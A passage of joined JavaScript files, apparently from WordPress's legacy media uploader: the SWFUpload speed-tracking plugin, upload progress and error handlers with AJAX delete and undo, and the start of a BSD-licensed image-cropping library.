};
// Private: extends the file object with the speed plugin values
SWFUpload.speed.extendFile = function (file, trackingList) {
var tracking;
if (trackingList) {
tracking = trackingList[file.id];
}
if (tracking) {
file.currentSpeed = tracking.currentSpeed;
file.averageSpeed = tracking.averageSpeed;
file.movingAverageSpeed = tracking.movingAverageSpeed;
file.timeRemaining = tracking.timeRemaining;
file.timeElapsed = tracking.timeElapsed;
file.percentUploaded = tracking.percentUploaded;
file.sizeUploaded = tracking.bytesUploaded;
} else {
file.currentSpeed = 0;
file.averageSpeed = 0;
file.movingAverageSpeed = 0;
file.timeRemaining = 0;
file.timeElapsed = 0;
file.percentUploaded = 0;
file.sizeUploaded = 0;
}
return file;
};
// Private: Updates the speed tracking object, or creates it if necessary
SWFUpload.prototype.updateTracking = function (file, bytesUploaded) {
var tracking = this.fileSpeedStats[file.id];
if (!tracking) {
this.fileSpeedStats[file.id] = tracking = {};
}
// Sanity check inputs
bytesUploaded = bytesUploaded || tracking.bytesUploaded || 0;
if (bytesUploaded < 0) {
bytesUploaded = 0;
}
if (bytesUploaded > file.size) {
bytesUploaded = file.size;
}
var tickTime = (new Date()).getTime();
if (!tracking.startTime) {
tracking.startTime = (new Date()).getTime();
tracking.lastTime = tracking.startTime;
tracking.currentSpeed = 0;
tracking.averageSpeed = 0;
tracking.movingAverageSpeed = 0;
tracking.movingAverageHistory = [];
tracking.timeRemaining = 0;
tracking.timeElapsed = 0;
tracking.percentUploaded = bytesUploaded / file.size;
tracking.bytesUploaded = bytesUploaded;
} else if (tracking.startTime > tickTime) {
this.debug("When backwards in time");
} else {
// Get time and deltas
var now = (new Date()).getTime();
var lastTime = tracking.lastTime;
var deltaTime = now - lastTime;
var deltaBytes = bytesUploaded - tracking.bytesUploaded;
if (deltaBytes === 0 || deltaTime === 0) {
return tracking;
}
// Update tracking object
tracking.lastTime = now;
tracking.bytesUploaded = bytesUploaded;
// Calculate speeds
tracking.currentSpeed = (deltaBytes * 8 ) / (deltaTime / 1000);
tracking.averageSpeed = (tracking.bytesUploaded * 8) / ((now - tracking.startTime) / 1000);
// Calculate moving average
tracking.movingAverageHistory.push(tracking.currentSpeed);
if (tracking.movingAverageHistory.length > this.settings.moving_average_history_size) {
tracking.movingAverageHistory.shift();
}
tracking.movingAverageSpeed = SWFUpload.speed.calculateMovingAverage(tracking.movingAverageHistory);
// Update times
tracking.timeRemaining = (file.size - tracking.bytesUploaded) * 8 / tracking.movingAverageSpeed;
tracking.timeElapsed = (now - tracking.startTime) / 1000;
// Update percent
tracking.percentUploaded = (tracking.bytesUploaded / file.size * 100);
}
return tracking;
};
SWFUpload.speed.removeTracking = function (file, trackingList) {
try {
trackingList[file.id] = null;
delete trackingList[file.id];
} catch (ex) {
}
};
SWFUpload.speed.formatUnits = function (baseNumber, unitDivisors, unitLabels, singleFractional) {
var i, unit, unitDivisor, unitLabel;
if (baseNumber === 0) {
return "0 " + unitLabels[unitLabels.length - 1];
}
if (singleFractional) {
unit = baseNumber;
unitLabel = unitLabels.length >= unitDivisors.length ? unitLabels[unitDivisors.length - 1] : "";
for (i = 0; i < unitDivisors.length; i++) {
if (baseNumber >= unitDivisors[i]) {
unit = (baseNumber / unitDivisors[i]).toFixed(2);
unitLabel = unitLabels.length >= i ? " " + unitLabels[i] : "";
break;
}
}
return unit + unitLabel;
} else {
var formattedStrings = [];
var remainder = baseNumber;
for (i = 0; i < unitDivisors.length; i++) {
unitDivisor = unitDivisors[i];
unitLabel = unitLabels.length > i ? " " + unitLabels[i] : "";
unit = remainder / unitDivisor;
if (i < unitDivisors.length -1) {
unit = Math.floor(unit);
} else {
unit = unit.toFixed(2);
}
if (unit > 0) {
remainder = remainder % unitDivisor;
formattedStrings.push(unit + unitLabel);
}
}
return formattedStrings.join(" ");
}
};
SWFUpload.speed.formatBPS = function (baseNumber) {
var bpsUnits = [1073741824, 1048576, 1024, 1], bpsUnitLabels = ["Gbps", "Mbps", "Kbps", "bps"];
return SWFUpload.speed.formatUnits(baseNumber, bpsUnits, bpsUnitLabels, true);
};
SWFUpload.speed.formatTime = function (baseNumber) {
var timeUnits = [86400, 3600, 60, 1], timeUnitLabels = ["d", "h", "m", "s"];
return SWFUpload.speed.formatUnits(baseNumber, timeUnits, timeUnitLabels, false);
};
SWFUpload.speed.formatBytes = function (baseNumber) {
var sizeUnits = [1073741824, 1048576, 1024, 1], sizeUnitLabels = ["GB", "MB", "KB", "bytes"];
return SWFUpload.speed.formatUnits(baseNumber, sizeUnits, sizeUnitLabels, true);
};
SWFUpload.speed.formatPercent = function (baseNumber) {
return baseNumber.toFixed(2) + " %";
};
SWFUpload.speed.calculateMovingAverage = function (history) {
var vals = [], size, sum = 0.0, mean = 0.0, varianceTemp = 0.0, variance = 0.0, standardDev = 0.0;
var i;
var mSum = 0, mCount = 0;
size = history.length;
// Check for sufficient data
if (size >= 8) {
// Clone the array and Calculate sum of the values
for (i = 0; i < size; i++) {
vals[i] = history[i];
sum += vals[i];
}
mean = sum / size;
// Calculate variance for the set
for (i = 0; i < size; i++) {
varianceTemp += Math.pow((vals[i] - mean), 2);
}
variance = varianceTemp / size;
standardDev = Math.sqrt(variance);
//Standardize the Data
for (i = 0; i < size; i++) {
vals[i] = (vals[i] - mean) / standardDev;
}
// Calculate the average excluding outliers
var deviationRange = 2.0;
for (i = 0; i < size; i++) {
if (vals[i] <= deviationRange && vals[i] >= -deviationRange) {
mCount++;
mSum += history[i];
}
}
} else {
// Calculate the average (not enough data points to remove outliers)
mCount = size;
for (i = 0; i < size; i++) {
mSum += history[i];
}
}
return mSum / mCount;
};
} | JavaScript |
var topWin = window.dialogArguments || opener || parent || top;
function fileDialogStart() {
jQuery("#media-upload-error").empty();
}
// progress and success handlers for media multi uploads
function fileQueued(fileObj) {
// Get rid of unused form
jQuery('.media-blank').remove();
// Collapse a single item
if ( jQuery('form.type-form #media-items').children().length == 1 && jQuery('.hidden', '#media-items').length > 0 ) {
jQuery('.describe-toggle-on').show();
jQuery('.describe-toggle-off').hide();
jQuery('.slidetoggle').slideUp(200).siblings().removeClass('hidden');
}
// Create a progress bar containing the filename
jQuery('#media-items').append('<div id="media-item-' + fileObj.id + '" class="media-item child-of-' + post_id + '"><div class="progress"><div class="bar"></div></div><div class="filename original"><span class="percent"></span> ' + fileObj.name + '</div></div>');
// Display the progress div
jQuery('.progress', '#media-item-' + fileObj.id).show();
// Disable submit and enable cancel
jQuery('#insert-gallery').prop('disabled', true);
jQuery('#cancel-upload').prop('disabled', false);
}
function uploadStart(fileObj) {
try {
if ( typeof topWin.tb_remove != 'undefined' )
topWin.jQuery('#TB_overlay').unbind('click', topWin.tb_remove);
} catch(e){}
return true;
}
function uploadProgress(fileObj, bytesDone, bytesTotal) {
// Lengthen the progress bar
var w = jQuery('#media-items').width() - 2, item = jQuery('#media-item-' + fileObj.id);
jQuery('.bar', item).width( w * bytesDone / bytesTotal );
jQuery('.percent', item).html( Math.ceil(bytesDone / bytesTotal * 100) + '%' );
if ( bytesDone == bytesTotal )
jQuery('.bar', item).html('<strong class="crunching">' + swfuploadL10n.crunching + '</strong>');
}
function prepareMediaItem(fileObj, serverData) {
var f = ( typeof shortform == 'undefined' ) ? 1 : 2, item = jQuery('#media-item-' + fileObj.id);
// Move the progress bar to 100%
jQuery('.bar', item).remove();
jQuery('.progress', item).hide();
try {
if ( typeof topWin.tb_remove != 'undefined' )
topWin.jQuery('#TB_overlay').click(topWin.tb_remove);
} catch(e){}
// Old style: Append the HTML returned by the server -- thumbnail and form inputs
if ( isNaN(serverData) || !serverData ) {
item.append(serverData);
prepareMediaItemInit(fileObj);
}
// New style: server data is just the attachment ID, fetch the thumbnail and form html from the server
else {
item.load('async-upload.php', {attachment_id:serverData, fetch:f}, function(){prepareMediaItemInit(fileObj);updateMediaForm()});
}
}
function prepareMediaItemInit(fileObj) {
var item = jQuery('#media-item-' + fileObj.id);
// Clone the thumbnail as a "pinkynail" -- a tiny image to the left of the filename
jQuery('.thumbnail', item).clone().attr('class', 'pinkynail toggle').prependTo(item);
// Replace the original filename with the new (unique) one assigned during upload
jQuery('.filename.original', item).replaceWith( jQuery('.filename.new', item) );
// Also bind toggle to the links
jQuery('a.toggle', item).click(function(){
jQuery(this).siblings('.slidetoggle').slideToggle(350, function(){
var w = jQuery(window).height(), t = jQuery(this).offset().top, h = jQuery(this).height(), b;
if ( w && t && h ) {
b = t + h;
if ( b > w && (h + 48) < w )
window.scrollBy(0, b - w + 13);
else if ( b > w )
window.scrollTo(0, t - 36);
}
});
jQuery(this).siblings('.toggle').andSelf().toggle();
jQuery(this).siblings('a.toggle').focus();
return false;
});
// Bind AJAX to the new Delete button
jQuery('a.delete', item).click(function(){
// Tell the server to delete it. TODO: handle exceptions
jQuery.ajax({
url: 'admin-ajax.php',
type: 'post',
success: deleteSuccess,
error: deleteError,
id: fileObj.id,
data: {
id : this.id.replace(/[^0-9]/g, ''),
action : 'trash-post',
_ajax_nonce : this.href.replace(/^.*wpnonce=/,'')
}
});
return false;
});
// Bind AJAX to the new Undo button
jQuery('a.undo', item).click(function(){
// Tell the server to untrash it. TODO: handle exceptions
jQuery.ajax({
url: 'admin-ajax.php',
type: 'post',
id: fileObj.id,
data: {
id : this.id.replace(/[^0-9]/g,''),
action: 'untrash-post',
_ajax_nonce: this.href.replace(/^.*wpnonce=/,'')
},
success: function(data, textStatus){
var item = jQuery('#media-item-' + fileObj.id);
if ( type = jQuery('#type-of-' + fileObj.id).val() )
jQuery('#' + type + '-counter').text(jQuery('#' + type + '-counter').text()-0+1);
if ( item.hasClass('child-of-'+post_id) )
jQuery('#attachments-count').text(jQuery('#attachments-count').text()-0+1);
jQuery('.filename .trashnotice', item).remove();
jQuery('.filename .title', item).css('font-weight','normal');
jQuery('a.undo', item).addClass('hidden');
jQuery('a.describe-toggle-on, .menu_order_input', item).show();
item.css( {backgroundColor:'#ceb'} ).animate( {backgroundColor: '#fff'}, { queue: false, duration: 500, complete: function(){ jQuery(this).css({backgroundColor:''}); } }).removeClass('undo');
}
});
return false;
});
// Open this item if it says to start open (e.g. to display an error)
jQuery('#media-item-' + fileObj.id + '.startopen').removeClass('startopen').slideToggle(500).siblings('.toggle').toggle();
}
function itemAjaxError(id, html) {
var item = jQuery('#media-item-' + id);
var filename = jQuery('.filename', item).text();
item.html('<div class="error-div">'
+ '<a class="dismiss" href="#">' + swfuploadL10n.dismiss + '</a>'
+ '<strong>' + swfuploadL10n.error_uploading.replace('%s', filename) + '</strong><br />'
+ html
+ '</div>');
item.find('a.dismiss').click(function(){jQuery(this).parents('.media-item').slideUp(200, function(){jQuery(this).remove();})});
}
function deleteSuccess(data, textStatus) {
if ( data == '-1' )
return itemAjaxError(this.id, 'You do not have permission. Has your session expired?');
if ( data == '0' )
return itemAjaxError(this.id, 'Could not be deleted. Has it been deleted already?');
var id = this.id, item = jQuery('#media-item-' + id);
// Decrement the counters.
if ( type = jQuery('#type-of-' + id).val() )
jQuery('#' + type + '-counter').text( jQuery('#' + type + '-counter').text() - 1 );
if ( item.hasClass('child-of-'+post_id) )
jQuery('#attachments-count').text( jQuery('#attachments-count').text() - 1 );
if ( jQuery('form.type-form #media-items').children().length == 1 && jQuery('.hidden', '#media-items').length > 0 ) {
jQuery('.toggle').toggle();
jQuery('.slidetoggle').slideUp(200).siblings().removeClass('hidden');
}
// Vanish it.
jQuery('.toggle', item).toggle();
jQuery('.slidetoggle', item).slideUp(200).siblings().removeClass('hidden');
item.css( {backgroundColor:'#faa'} ).animate( {backgroundColor:'#f4f4f4'}, {queue:false, duration:500} ).addClass('undo');
jQuery('.filename:empty', item).remove();
jQuery('.filename .title', item).css('font-weight','bold');
jQuery('.filename', item).append('<span class="trashnotice"> ' + swfuploadL10n.deleted + ' </span>').siblings('a.toggle').hide();
jQuery('.filename', item).append( jQuery('a.undo', item).removeClass('hidden') );
jQuery('.menu_order_input', item).hide();
return;
}
function deleteError(X, textStatus, errorThrown) {
// TODO
}
function updateMediaForm() {
var one = jQuery('form.type-form #media-items').children(), items = jQuery('#media-items').children();
// Just one file, no need for collapsible part
if ( one.length == 1 ) {
jQuery('.slidetoggle', one).slideDown(500).siblings().addClass('hidden').filter('.toggle').toggle();
}
// Only show Save buttons when there is at least one file.
if ( items.not('.media-blank').length > 0 )
jQuery('.savebutton').show();
else
jQuery('.savebutton').hide();
// Only show Gallery button when there are at least two files.
if ( items.length > 1 )
jQuery('.insert-gallery').show();
else
jQuery('.insert-gallery').hide();
}
function uploadSuccess(fileObj, serverData) {
// if async-upload returned an error message, place it in the media item div and return
if ( serverData.match('media-upload-error') ) {
jQuery('#media-item-' + fileObj.id).html(serverData);
return;
}
prepareMediaItem(fileObj, serverData);
updateMediaForm();
// Increment the counter.
if ( jQuery('#media-item-' + fileObj.id).hasClass('child-of-' + post_id) )
jQuery('#attachments-count').text(1 * jQuery('#attachments-count').text() + 1);
}
function uploadComplete(fileObj) {
// If no more uploads queued, enable the submit button
if ( swfu.getStats().files_queued == 0 ) {
jQuery('#cancel-upload').prop('disabled', true);
jQuery('#insert-gallery').prop('disabled', false);
}
}
// wp-specific error handlers
// generic message
function wpQueueError(message) {
jQuery('#media-upload-error').show().text(message);
}
// file-specific message
function wpFileError(fileObj, message) {
var item = jQuery('#media-item-' + fileObj.id);
var filename = jQuery('.filename', item).text();
item.html('<div class="error-div">'
+ '<a class="dismiss" href="#">' + swfuploadL10n.dismiss + '</a>'
+ '<strong>' + swfuploadL10n.error_uploading.replace('%s', filename) + '</strong><br />'
+ message
+ '</div>');
item.find('a.dismiss').click(function(){jQuery(this).parents('.media-item').slideUp(200, function(){jQuery(this).remove();})});
}
function fileQueueError(fileObj, error_code, message) {
// Handle this error separately because we don't want to create a FileProgress element for it.
if ( error_code == SWFUpload.QUEUE_ERROR.QUEUE_LIMIT_EXCEEDED ) {
wpQueueError(swfuploadL10n.queue_limit_exceeded);
}
else if ( error_code == SWFUpload.QUEUE_ERROR.FILE_EXCEEDS_SIZE_LIMIT ) {
fileQueued(fileObj);
wpFileError(fileObj, swfuploadL10n.file_exceeds_size_limit);
}
else if ( error_code == SWFUpload.QUEUE_ERROR.ZERO_BYTE_FILE ) {
fileQueued(fileObj);
wpFileError(fileObj, swfuploadL10n.zero_byte_file);
}
else if ( error_code == SWFUpload.QUEUE_ERROR.INVALID_FILETYPE ) {
fileQueued(fileObj);
wpFileError(fileObj, swfuploadL10n.invalid_filetype);
}
else {
wpQueueError(swfuploadL10n.default_error);
}
}
function fileDialogComplete(num_files_queued) {
try {
if (num_files_queued > 0) {
this.startUpload();
}
} catch (ex) {
this.debug(ex);
}
}
function switchUploader(s) {
var f = document.getElementById(swfu.customSettings.swfupload_element_id), h = document.getElementById(swfu.customSettings.degraded_element_id);
if ( s ) {
f.style.display = 'block';
h.style.display = 'none';
} else {
f.style.display = 'none';
h.style.display = 'block';
}
}
function swfuploadPreLoad() {
if ( !uploaderMode ) {
switchUploader(1);
} else {
switchUploader(0);
}
}
function swfuploadLoadFailed() {
switchUploader(0);
jQuery('.upload-html-bypass').hide();
}
function uploadError(fileObj, errorCode, message) {
switch (errorCode) {
case SWFUpload.UPLOAD_ERROR.MISSING_UPLOAD_URL:
wpFileError(fileObj, swfuploadL10n.missing_upload_url);
break;
case SWFUpload.UPLOAD_ERROR.UPLOAD_LIMIT_EXCEEDED:
wpFileError(fileObj, swfuploadL10n.upload_limit_exceeded);
break;
case SWFUpload.UPLOAD_ERROR.HTTP_ERROR:
wpQueueError(swfuploadL10n.http_error);
break;
case SWFUpload.UPLOAD_ERROR.UPLOAD_FAILED:
wpQueueError(swfuploadL10n.upload_failed);
break;
case SWFUpload.UPLOAD_ERROR.IO_ERROR:
wpQueueError(swfuploadL10n.io_error);
break;
case SWFUpload.UPLOAD_ERROR.SECURITY_ERROR:
wpQueueError(swfuploadL10n.security_error);
break;
case SWFUpload.UPLOAD_ERROR.UPLOAD_STOPPED:
case SWFUpload.UPLOAD_ERROR.FILE_CANCELLED:
jQuery('#media-item-' + fileObj.id).remove();
break;
default:
wpFileError(fileObj, swfuploadL10n.default_error);
}
}
function cancelUpload() {
swfu.cancelQueue();
}
// remember the last used image size, alignment and url
jQuery(document).ready(function($){
$('input[type="radio"]', '#media-items').live('click', function(){
var tr = $(this).closest('tr');
if ( $(tr).hasClass('align') )
setUserSetting('align', $(this).val());
else if ( $(tr).hasClass('image-size') )
setUserSetting('imgsize', $(this).val());
});
$('button.button', '#media-items').live('click', function(){
var c = this.className || '';
c = c.match(/url([^ '"]+)/);
if ( c && c[1] ) {
setUserSetting('urlbutton', c[1]);
$(this).siblings('.urlfield').val( $(this).attr('title') );
}
});
});
| JavaScript |
/**
* Copyright (c) 2006, David Spurr (http://www.defusion.org.uk/)
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
* * Neither the name of the David Spurr nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
* http://www.opensource.org/licenses/bsd-license.php
*
* See scriptaculous.js for full scriptaculous licence
*/
var CropDraggable=Class.create();
Object.extend(Object.extend(CropDraggable.prototype,Draggable.prototype),{initialize:function(_1){
this.options=Object.extend({drawMethod:function(){
}},arguments[1]||{});
this.element=$(_1);
this.handle=this.element;
this.delta=this.currentDelta();
this.dragging=false;
this.eventMouseDown=this.initDrag.bindAsEventListener(this);
Event.observe(this.handle,"mousedown",this.eventMouseDown);
Draggables.register(this);
},draw:function(_2){
var _3=Position.cumulativeOffset(this.element);
var d=this.currentDelta();
_3[0]-=d[0];
_3[1]-=d[1];
var p=[0,1].map(function(i){
return (_2[i]-_3[i]-this.offset[i]);
}.bind(this));
this.options.drawMethod(p);
}});
var Cropper={};
Cropper.Img=Class.create();
Cropper.Img.prototype={initialize:function(_7,_8){
this.options=Object.extend({ratioDim:{x:0,y:0},minWidth:0,minHeight:0,displayOnInit:false,onEndCrop:Prototype.emptyFunction,captureKeys:true},_8||{});
if(this.options.minWidth>0&&this.options.minHeight>0){
this.options.ratioDim.x=this.options.minWidth;
this.options.ratioDim.y=this.options.minHeight;
}
this.img=$(_7);
this.clickCoords={x:0,y:0};
this.dragging=false;
this.resizing=false;
this.isWebKit=/Konqueror|Safari|KHTML/.test(navigator.userAgent);
this.isIE=/MSIE/.test(navigator.userAgent);
this.isOpera8=/Opera\s[1-8]/.test(navigator.userAgent);
this.ratioX=0;
this.ratioY=0;
this.attached=false;
$A(document.getElementsByTagName("script")).each(function(s){
if(s.src.match(/cropper\.js/)){
var _a=s.src.replace(/cropper\.js(.*)?/,"");
var _b=document.createElement("link");
_b.rel="stylesheet";
_b.type="text/css";
_b.href=_a+"cropper.css";
_b.media="screen";
document.getElementsByTagName("head")[0].appendChild(_b);
}
});
if(this.options.ratioDim.x>0&&this.options.ratioDim.y>0){
var _c=this.getGCD(this.options.ratioDim.x,this.options.ratioDim.y);
this.ratioX=this.options.ratioDim.x/_c;
this.ratioY=this.options.ratioDim.y/_c;
}
this.subInitialize();
if(this.img.complete||this.isWebKit){
this.onLoad();
}else{
Event.observe(this.img,"load",this.onLoad.bindAsEventListener(this));
}
},getGCD:function(a,b){return 1;
if(b==0){
return a;
}
return this.getGCD(b,a%b);
},onLoad:function(){
var _f="imgCrop_";
var _10=this.img.parentNode;
var _11="";
if(this.isOpera8){
_11=" opera8";
}
this.imgWrap=Builder.node("div",{"class":_f+"wrap"+_11});
if(this.isIE){
this.north=Builder.node("div",{"class":_f+"overlay "+_f+"north"},[Builder.node("span")]);
this.east=Builder.node("div",{"class":_f+"overlay "+_f+"east"},[Builder.node("span")]);
this.south=Builder.node("div",{"class":_f+"overlay "+_f+"south"},[Builder.node("span")]);
this.west=Builder.node("div",{"class":_f+"overlay "+_f+"west"},[Builder.node("span")]);
var _12=[this.north,this.east,this.south,this.west];
}else{
this.overlay=Builder.node("div",{"class":_f+"overlay"});
var _12=[this.overlay];
}
this.dragArea=Builder.node("div",{"class":_f+"dragArea"},_12);
this.handleN=Builder.node("div",{"class":_f+"handle "+_f+"handleN"});
this.handleNE=Builder.node("div",{"class":_f+"handle "+_f+"handleNE"});
this.handleE=Builder.node("div",{"class":_f+"handle "+_f+"handleE"});
this.handleSE=Builder.node("div",{"class":_f+"handle "+_f+"handleSE"});
this.handleS=Builder.node("div",{"class":_f+"handle "+_f+"handleS"});
this.handleSW=Builder.node("div",{"class":_f+"handle "+_f+"handleSW"});
this.handleW=Builder.node("div",{"class":_f+"handle "+_f+"handleW"});
this.handleNW=Builder.node("div",{"class":_f+"handle "+_f+"handleNW"});
this.selArea=Builder.node("div",{"class":_f+"selArea"},[Builder.node("div",{"class":_f+"marqueeHoriz "+_f+"marqueeNorth"},[Builder.node("span")]),Builder.node("div",{"class":_f+"marqueeVert "+_f+"marqueeEast"},[Builder.node("span")]),Builder.node("div",{"class":_f+"marqueeHoriz "+_f+"marqueeSouth"},[Builder.node("span")]),Builder.node("div",{"class":_f+"marqueeVert "+_f+"marqueeWest"},[Builder.node("span")]),this.handleN,this.handleNE,this.handleE,this.handleSE,this.handleS,this.handleSW,this.handleW,this.handleNW,Builder.node("div",{"class":_f+"clickArea"})]);
Element.setStyle($(this.selArea),{backgroundColor:"transparent",backgroundRepeat:"no-repeat",backgroundPosition:"0 0"});
this.imgWrap.appendChild(this.img);
this.imgWrap.appendChild(this.dragArea);
this.dragArea.appendChild(this.selArea);
this.dragArea.appendChild(Builder.node("div",{"class":_f+"clickArea"}));
_10.appendChild(this.imgWrap);
Event.observe(this.dragArea,"mousedown",this.startDrag.bindAsEventListener(this));
Event.observe(document,"mousemove",this.onDrag.bindAsEventListener(this));
Event.observe(document,"mouseup",this.endCrop.bindAsEventListener(this));
var _13=[this.handleN,this.handleNE,this.handleE,this.handleSE,this.handleS,this.handleSW,this.handleW,this.handleNW];
for(var i=0;i<_13.length;i++){
Event.observe(_13[i],"mousedown",this.startResize.bindAsEventListener(this));
}
if(this.options.captureKeys){
Event.observe(document,"keydown",this.handleKeys.bindAsEventListener(this));
}
new CropDraggable(this.selArea,{drawMethod:this.moveArea.bindAsEventListener(this)});
this.setParams();
},setParams:function(){
this.imgW=this.img.width;
this.imgH=this.img.height;
if(!this.isIE){
Element.setStyle($(this.overlay),{width:this.imgW+"px",height:this.imgH+"px"});
Element.hide($(this.overlay));
Element.setStyle($(this.selArea),{backgroundImage:"url("+this.img.src+")"});
}else{
Element.setStyle($(this.north),{height:0});
Element.setStyle($(this.east),{width:0,height:0});
Element.setStyle($(this.south),{height:0});
Element.setStyle($(this.west),{width:0,height:0});
}
Element.setStyle($(this.imgWrap),{"width":this.imgW+"px","height":this.imgH+"px"});
Element.hide($(this.selArea));
var _15=Position.positionedOffset(this.imgWrap);
this.wrapOffsets={"top":_15[1],"left":_15[0]};
var _16={x1:0,y1:0,x2:0,y2:0};
this.setAreaCoords(_16);
if(this.options.ratioDim.x>0&&this.options.ratioDim.y>0&&this.options.displayOnInit){
_16.x1=Math.ceil((this.imgW-this.options.ratioDim.x)/2);
_16.y1=Math.ceil((this.imgH-this.options.ratioDim.y)/2);
_16.x2=_16.x1+this.options.ratioDim.x;
_16.y2=_16.y1+this.options.ratioDim.y;
Element.show(this.selArea);
this.drawArea();
this.endCrop();
}
this.attached=true;
},remove:function(){
this.attached=false;
this.imgWrap.parentNode.insertBefore(this.img,this.imgWrap);
this.imgWrap.parentNode.removeChild(this.imgWrap);
Event.stopObserving(this.dragArea,"mousedown",this.startDrag.bindAsEventListener(this));
Event.stopObserving(document,"mousemove",this.onDrag.bindAsEventListener(this));
Event.stopObserving(document,"mouseup",this.endCrop.bindAsEventListener(this));
var _17=[this.handleN,this.handleNE,this.handleE,this.handleSE,this.handleS,this.handleSW,this.handleW,this.handleNW];
for(var i=0;i<_17.length;i++){
Event.stopObserving(_17[i],"mousedown",this.startResize.bindAsEventListener(this));
}
if(this.options.captureKeys){
Event.stopObserving(document,"keydown",this.handleKeys.bindAsEventListener(this));
}
},reset:function(){
if(!this.attached){
this.onLoad();
}else{
this.setParams();
}
this.endCrop();
},handleKeys:function(e){
var dir={x:0,y:0};
if(!this.dragging){
switch(e.keyCode){
case (37):
dir.x=-1;
break;
case (38):
dir.y=-1;
break;
case (39):
dir.x=1;
break;
case (40):
dir.y=1;
break;
}
if(dir.x!=0||dir.y!=0){
if(e.shiftKey){
dir.x*=10;
dir.y*=10;
}
this.moveArea([this.areaCoords.x1+dir.x,this.areaCoords.y1+dir.y]);
Event.stop(e);
}
}
},calcW:function(){
return (this.areaCoords.x2-this.areaCoords.x1);
},calcH:function(){
return (this.areaCoords.y2-this.areaCoords.y1);
},moveArea:function(_1b){
this.setAreaCoords({x1:_1b[0],y1:_1b[1],x2:_1b[0]+this.calcW(),y2:_1b[1]+this.calcH()},true);
this.drawArea();
},cloneCoords:function(_1c){
return {x1:_1c.x1,y1:_1c.y1,x2:_1c.x2,y2:_1c.y2};
},setAreaCoords:function(_1d,_1e,_1f,_20,_21){
var _22=typeof _1e!="undefined"?_1e:false;
var _23=typeof _1f!="undefined"?_1f:false;
if(_1e){
var _24=_1d.x2-_1d.x1;
var _25=_1d.y2-_1d.y1;
if(_1d.x1<0){
_1d.x1=0;
_1d.x2=_24;
}
if(_1d.y1<0){
_1d.y1=0;
_1d.y2=_25;
}
if(_1d.x2>this.imgW){
_1d.x2=this.imgW;
_1d.x1=this.imgW-_24;
}
if(_1d.y2>this.imgH){
_1d.y2=this.imgH;
_1d.y1=this.imgH-_25;
}
}else{
if(_1d.x1<0){
_1d.x1=0;
}
if(_1d.y1<0){
_1d.y1=0;
}
if(_1d.x2>this.imgW){
_1d.x2=this.imgW;
}
if(_1d.y2>this.imgH){
_1d.y2=this.imgH;
}
if(typeof (_20)!="undefined"){
if(this.ratioX>0){
this.applyRatio(_1d,{x:this.ratioX,y:this.ratioY},_20,_21);
}else{
if(_23){
this.applyRatio(_1d,{x:1,y:1},_20,_21);
}
}
var _26={a1:_1d.x1,a2:_1d.x2};
var _27={a1:_1d.y1,a2:_1d.y2};
var _28=this.options.minWidth;
var _29=this.options.minHeight;
if((_28==0||_29==0)&&_23){
if(_28>0){
_29=_28;
}else{
if(_29>0){
_28=_29;
}
}
}
this.applyMinDimension(_26,_28,_20.x,{min:0,max:this.imgW});
this.applyMinDimension(_27,_29,_20.y,{min:0,max:this.imgH});
_1d={x1:_26.a1,y1:_27.a1,x2:_26.a2,y2:_27.a2};
}
}
this.areaCoords=_1d;
},applyMinDimension:function(_2a,_2b,_2c,_2d){
if((_2a.a2-_2a.a1)<_2b){
if(_2c==1){
_2a.a2=_2a.a1+_2b;
}else{
_2a.a1=_2a.a2-_2b;
}
if(_2a.a1<_2d.min){
_2a.a1=_2d.min;
_2a.a2=_2b;
}else{
if(_2a.a2>_2d.max){
_2a.a1=_2d.max-_2b;
_2a.a2=_2d.max;
}
}
}
},applyRatio:function(_2e,_2f,_30,_31){
var _32;
if(_31=="N"||_31=="S"){
_32=this.applyRatioToAxis({a1:_2e.y1,b1:_2e.x1,a2:_2e.y2,b2:_2e.x2},{a:_2f.y,b:_2f.x},{a:_30.y,b:_30.x},{min:0,max:this.imgW});
_2e.x1=_32.b1;
_2e.y1=_32.a1;
_2e.x2=_32.b2;
_2e.y2=_32.a2;
}else{
_32=this.applyRatioToAxis({a1:_2e.x1,b1:_2e.y1,a2:_2e.x2,b2:_2e.y2},{a:_2f.x,b:_2f.y},{a:_30.x,b:_30.y},{min:0,max:this.imgH});
_2e.x1=_32.a1;
_2e.y1=_32.b1;
_2e.x2=_32.a2;
_2e.y2=_32.b2;
}
},applyRatioToAxis:function(_33,_34,_35,_36){
var _37=Object.extend(_33,{});
var _38=_37.a2-_37.a1;
var _3a=Math.floor(_38*_34.b/_34.a);
var _3b;
var _3c;
var _3d=null;
if(_35.b==1){
_3b=_37.b1+_3a;
if(_3b>_36.max){
_3b=_36.max;
_3d=_3b-_37.b1;
}
_37.b2=_3b;
}else{
_3b=_37.b2-_3a;
if(_3b<_36.min){
_3b=_36.min;
_3d=_3b+_37.b2;
}
_37.b1=_3b;
}
if(_3d!=null){
_3c=Math.floor(_3d*_34.a/_34.b);
if(_35.a==1){
_37.a2=_37.a1+_3c;
}else{
_37.a1=_37.a1=_37.a2-_3c;
}
}
return _37;
},drawArea:function(){
if(!this.isIE){
Element.show($(this.overlay));
}
var _3e=this.calcW();
var _3f=this.calcH();
var _40=this.areaCoords.x2;
var _41=this.areaCoords.y2;
var _42=this.selArea.style;
_42.left=this.areaCoords.x1+"px";
